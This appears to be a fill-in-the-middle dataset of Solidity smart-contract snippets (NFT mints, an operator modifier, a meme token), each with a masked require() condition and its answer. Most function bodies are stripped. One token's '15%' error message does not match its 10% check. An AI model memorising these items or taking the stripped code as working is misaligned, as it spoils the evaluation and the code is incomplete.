_notRevealedURI) public onlyOwner { } function flipSale() public onlyOwner { } function flipPreSale() public onlyOwner { } function viewBrandCount(address _inst) public view returns (uint256) { } function withdrawAll() public payable onlyOwner { } function withdrawFixed(uint256 _amt) public payable onlyOwner { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } }
ownerOf(_tokenid)==msg.sender,"You are not the owner of this NFT"
228,858
ownerOf(_tokenid)==msg.sender
"ERC721MPF: Minting Exceeds Project Limit"
// SPDX-License-Identifier: MIT // ERC721A Contracts v3.3.0 // Creator: Chiru Labs // forked for this impl pragma solidity ^0.8.4; import './IERC721MP.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/utils/Context.sol'; import '@openzeppelin/contracts/utils/Strings.sol'; import '@openzeppelin/contracts/utils/introspection/ERC165.sol'; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721MPF is Context, ERC165, IERC721MP { using Address for address; using Strings for uint256; // CryptoCitizenLiveMint Contract mapping(address => bool) public _WhitelistedSender; mapping(uint => uint) public _ProjectInvocations; mapping(uint => uint) public _MaxSupply; mapping(uint => bool) public _Active; uint256 private constant ONE_MILLION = 1000000; // The tokenId of the next token to be minted. uint256 internal _TOTAL_MINTED; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view override returns (uint256) { } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI(uint256 tokenId) internal view virtual returns (string memory) { } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { } /** * @dev See {IERC721-isApprovedForAll}. * forked and added new approval indicies for MPMX artistID & artist name reveals */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { } /** * @dev Returns The Number Of Project Invocations */ function ReadProjectInvocations(uint projectID) public view returns (uint) { } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint(uint projectID, address to, uint256 quantity) internal { require(<FILL_ME>) require(_Active[projectID], "ERC721MPF: Project Not Active"); uint256 startTokenId = (projectID * ONE_MILLION) + _ProjectInvocations[projectID]; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _TOTAL_MINTED + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex < end); _TOTAL_MINTED += quantity; } _ProjectInvocations[projectID] += quantity; if(_MaxSupply[projectID] == _ProjectInvocations[projectID]) { _Active[projectID] = false; // Auto-Disables Minting After Max Supply Is Reached } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { } /** * @dev Equivalent to `_burn(tokenId, false)`. */ function _burn(uint256 tokenId) internal virtual { } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} }
_ProjectInvocations[projectID]+quantity<=_MaxSupply[projectID],"ERC721MPF: Minting Exceeds Project Limit"
228,909
_ProjectInvocations[projectID]+quantity<=_MaxSupply[projectID]
"ERC721MPF: Project Not Active"
// SPDX-License-Identifier: MIT // ERC721A Contracts v3.3.0 // Creator: Chiru Labs // forked for this impl pragma solidity ^0.8.4; import './IERC721MP.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/utils/Context.sol'; import '@openzeppelin/contracts/utils/Strings.sol'; import '@openzeppelin/contracts/utils/introspection/ERC165.sol'; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721MPF is Context, ERC165, IERC721MP { using Address for address; using Strings for uint256; // CryptoCitizenLiveMint Contract mapping(address => bool) public _WhitelistedSender; mapping(uint => uint) public _ProjectInvocations; mapping(uint => uint) public _MaxSupply; mapping(uint => bool) public _Active; uint256 private constant ONE_MILLION = 1000000; // The tokenId of the next token to be minted. uint256 internal _TOTAL_MINTED; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view override returns (uint256) { } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI(uint256 tokenId) internal view virtual returns (string memory) { } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { } /** * @dev See {IERC721-isApprovedForAll}. * forked and added new approval indicies for MPMX artistID & artist name reveals */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { } /** * @dev Returns The Number Of Project Invocations */ function ReadProjectInvocations(uint projectID) public view returns (uint) { } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint(uint projectID, address to, uint256 quantity) internal { require(_ProjectInvocations[projectID] + quantity <= _MaxSupply[projectID], "ERC721MPF: Minting Exceeds Project Limit"); require(<FILL_ME>) uint256 startTokenId = (projectID * ONE_MILLION) + _ProjectInvocations[projectID]; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _TOTAL_MINTED + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex < end); _TOTAL_MINTED += quantity; } _ProjectInvocations[projectID] += quantity; if(_MaxSupply[projectID] == _ProjectInvocations[projectID]) { _Active[projectID] = false; // Auto-Disables Minting After Max Supply Is Reached } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { } /** * @dev Equivalent to `_burn(tokenId, false)`. */ function _burn(uint256 tokenId) internal virtual { } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} }
_Active[projectID],"ERC721MPF: Project Not Active"
228,909
_Active[projectID]
"Operator: caller is not the operator"
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.17; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./interfaces/IBKErrors.sol"; contract BKCommon is IBKErrors, Ownable, Pausable, ReentrancyGuard { using SafeERC20 for IERC20; mapping(address => bool) isOperator; event RescueETH(address indexed recipient, uint256 amount); event RescueERC20(address indexed asset, address recipient); event SetOperator(address operator, bool isOperator); modifier onlyOperator() { require(<FILL_ME>) _; } function setOperator(address[] calldata _operators, bool _isOperator) external onlyOwner { } function pause() external onlyOperator { } function unpause() external onlyOperator { } function rescueERC20(address asset, address recipient) external onlyOperator { } function rescueETH(address recipient) external onlyOperator { } function _transferEth(address _to, uint256 _amount) internal { } /// @dev Revert with arbitrary bytes. /// @param data Revert data. function _revertWithData(bytes memory data) internal pure { } receive() external payable {} }
isOperator[_msgSender()],"Operator: caller is not the operator"
229,020
isOperator[_msgSender()]
"can not mint this many"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "./ERC721A.sol"; contract DwarvesTown_xyz is Ownable, ERC721A, ReentrancyGuard { uint256 public immutable maxPerAddressDuringMint; bytes32 public WhitelistMerkleRoot; struct SaleConfig { uint32 publicMintStartTime; uint32 MintStartTime; uint256 Price; uint256 AmountForWhitelist; } SaleConfig public saleConfig; constructor( uint256 maxBatchSize_, uint256 collectionSize_ ) ERC721A("DwarvesTown_xyz", "DT", maxBatchSize_, collectionSize_) { } modifier callerIsUser() { } function WhilteListMint(uint256 quantity,bytes32[] calldata _merkleProof) external payable callerIsUser { } function PublicMint(uint256 quantity) external payable callerIsUser { uint256 _publicsaleStartTime = uint256(saleConfig.publicMintStartTime); require( _publicsaleStartTime != 0 && block.timestamp >= _publicsaleStartTime, "sale has not started yet" ); require(quantity<=2, "reached max supply"); require(totalSupply() + quantity <= collectionSize, "reached max supply"); require(<FILL_ME>) uint256 totalCost = saleConfig.Price * quantity; _safeMint(msg.sender, quantity); refundIfOver(totalCost); } function refundIfOver(uint256 price) private { } function isPublicSaleOn() public view returns (bool) { } uint256 public constant PRICE = 0.15 ether; function InitInfoOfSale( uint32 publicMintStartTime, uint32 mintStartTime, uint256 price, uint256 amountForWhitelist ) external onlyOwner { } function batchBurn(uint256[] memory tokenids) external onlyOwner { } function setMintStartTime(uint32 timestamp) external onlyOwner { } function setPublicMintStartTime(uint32 timestamp) external onlyOwner { } function setPrice(uint256 price) external onlyOwner { } // // metadata URI string private _baseTokenURI; function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI) external onlyOwner { } //提款钱包 function withdrawMoney() external nonReentrant { } function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant { } function setWhitelistMerkleRoot(bytes32 _merkleRoot) public onlyOwner { } function numberMinted(address owner) public view returns (uint256) { } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { } }
numberMinted(msg.sender)+quantity<=2,"can not mint this many"
229,078
numberMinted(msg.sender)+quantity<=2
"$BSHARBI: can't be more than 15%"
//Tg: t.me/baby_sharbi //Website: babysharbi.net // SPDX-License-Identifier:MIT pragma solidity ^0.8.10; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // Dex Factory contract interface interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } // Dex Router contract interface interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { } function _msgData() internal view virtual returns (bytes memory) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } contract BabySharbiToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isExcludedFromFee; mapping(address => bool) public isExcludedFromMaxTxn; mapping(address => bool) public isExcludedFromMaxHolding; mapping(address => bool) public isClaimed; mapping(address => bool) public isBot; string private _name = "Baby Sharbi"; string private _symbol = "$BSHARBI"; uint8 private _decimals = 9; uint256 private _totalSupply = 1_000_000_000_000 * 1e9; address private constant DEAD = address(0xdead); address private constant ZERO = address(0); IDexRouter public dexRouter; address public dexPair; address public marketingWallet; address public sharbiWallet; address public liquidityReceiverWallet; address public oldBabySharbi; uint256 public minTokenToSwap = _totalSupply.div(1e5); // this amount will trigger swap and distribute uint256 public maxHoldLimit = _totalSupply.div(100); // this is the max wallet holding limit uint256 public maxTxnLimit = _totalSupply.div(100); // this is the max transaction limit uint256 public percentDivider = 1000; uint256 public snipingTime = 60 seconds; uint256 public launchedAt; bool public distributeAndLiquifyStatus; // should be true to turn on to liquidate the pool bool public feesStatus = true; // enable by default bool public trading; // once enable can't be disable afterwards uint256 public liquidityFeeOnBuying = 10; // 1% will be added to the liquidity uint256 public marketingFeeOnBuying = 20; // 2% will be added to the marketing address uint256 public sharbiFeeOnBuying = 30; // 3% will be added to the SHARBI address uint256 public liquidityFeeOnSelling = 10; // 1% will be added to the liquidity uint256 public marketingFeeOnSelling = 20; // 2% will be added to the marketing address uint256 public sharbiFeeOnSelling = 30; // 3% will be added to the SHARBI address uint256 liquidityFeeCounter = 0; uint256 marketingFeeCounter = 0; uint256 sharbiFeeCounter = 0; event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); constructor() { } //to receive ETH from dexRouter when swapping receive() external payable {} function name() public view returns (string memory) { } function symbol() public view returns (string memory) { } function decimals() public view returns (uint8) { } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function includeOrExcludeFromFee(address account, bool value) external onlyOwner { } function includeOrExcludeFromMaxTxn(address[] memory account, bool value) external onlyOwner { } function includeOrExcludeFromMaxHolding(address account, bool value) external onlyOwner { } function setIsClaimed(address account, bool value) external onlyOwner { } function addOrRemoveBots(address[] memory accounts, bool exempt) external onlyOwner { } function setMinTokenToSwap(uint256 _amount) external onlyOwner { } function setMaxHoldLimit(uint256 _amount) external onlyOwner { } function setMaxTxnLimit(uint256 _amount) external onlyOwner { } function setBabySharbi(address _token) external onlyOwner { } function setBuyFeePercent(uint256 _lwFee, uint256 _marketingFee, uint256 _bsFee) external onlyOwner { marketingFeeOnBuying = _lwFee; sharbiFeeOnBuying = _bsFee; liquidityFeeOnBuying = _marketingFee; require(<FILL_ME>) } function setSellFeePercent(uint256 _lwFee, uint256 _marketingFee, uint256 _bsFee) external onlyOwner { } function setDistributionStatus(bool _value) public onlyOwner { } function enableOrDisableFees(bool _value) external onlyOwner { } function removeStuckEth(address _receiver) public onlyOwner { } function updateAddresses(address _marketingWallet, address _sharbiWallet, address _liquidityReceiverWallet) external onlyOwner { } function enableTrading() external onlyOwner { } function totalBuyFeePerTx(uint256 amount) public view returns (uint256) { } function totalSellFeePerTx(uint256 amount) public view returns (uint256) { } function migrateBabySharbi() public { } function _approve( address owner, address spender, uint256 amount ) private { } function _transfer( address from, address to, uint256 amount ) private { } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { } function takeTokenFee(address sender, uint256 amount) private { } function setFeeCountersOnBuying(uint256 amount) private { } function setFeeCountersOnSelling(uint256 amount) private { } function distributeAndLiquify(address from, address to) private { } } // Library for doing a swap on Dex library Utils { using SafeMath for uint256; function swapTokensForEth(address routerAddress, uint256 tokenAmount) internal { } function addLiquidity( address routerAddress, address owner, uint256 tokenAmount, uint256 ethAmount ) internal { } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } }
_lwFee.add(_marketingFee).add(_bsFee)<=percentDivider.div(10),"$BSHARBI: can't be more than 15%"
229,350
_lwFee.add(_marketingFee).add(_bsFee)<=percentDivider.div(10)
"$BSHARBI: can't be more than 15%"
//Tg: t.me/baby_sharbi //Website: babysharbi.net // SPDX-License-Identifier:MIT pragma solidity ^0.8.10; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // Dex Factory contract interface interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } // Dex Router contract interface interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { } function _msgData() internal view virtual returns (bytes memory) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } contract BabySharbiToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isExcludedFromFee; mapping(address => bool) public isExcludedFromMaxTxn; mapping(address => bool) public isExcludedFromMaxHolding; mapping(address => bool) public isClaimed; mapping(address => bool) public isBot; string private _name = "Baby Sharbi"; string private _symbol = "$BSHARBI"; uint8 private _decimals = 9; uint256 private _totalSupply = 1_000_000_000_000 * 1e9; address private constant DEAD = address(0xdead); address private constant ZERO = address(0); IDexRouter public dexRouter; address public dexPair; address public marketingWallet; address public sharbiWallet; address public liquidityReceiverWallet; address public oldBabySharbi; uint256 public minTokenToSwap = _totalSupply.div(1e5); // this amount will trigger swap and distribute uint256 public maxHoldLimit = _totalSupply.div(100); // this is the max wallet holding limit uint256 public maxTxnLimit = _totalSupply.div(100); // this is the max transaction limit uint256 public percentDivider = 1000; uint256 public snipingTime = 60 seconds; uint256 public launchedAt; bool public distributeAndLiquifyStatus; // should be true to turn on to liquidate the pool bool public feesStatus = true; // enable by default bool public trading; // once enable can't be disable afterwards uint256 public liquidityFeeOnBuying = 10; // 1% will be added to the liquidity uint256 public marketingFeeOnBuying = 20; // 2% will be added to the marketing address uint256 public sharbiFeeOnBuying = 30; // 3% will be added to the SHARBI address uint256 public liquidityFeeOnSelling = 10; // 1% will be added to the liquidity uint256 public marketingFeeOnSelling = 20; // 2% will be added to the marketing address uint256 public sharbiFeeOnSelling = 30; // 3% will be added to the SHARBI address uint256 liquidityFeeCounter = 0; uint256 marketingFeeCounter = 0; uint256 sharbiFeeCounter = 0; event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); constructor() { } //to receive ETH from dexRouter when swapping receive() external payable {} function name() public view returns (string memory) { } function symbol() public view returns (string memory) { } function decimals() public view returns (uint8) { } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function includeOrExcludeFromFee(address account, bool value) external onlyOwner { } function includeOrExcludeFromMaxTxn(address[] memory account, bool value) external onlyOwner { } function includeOrExcludeFromMaxHolding(address account, bool 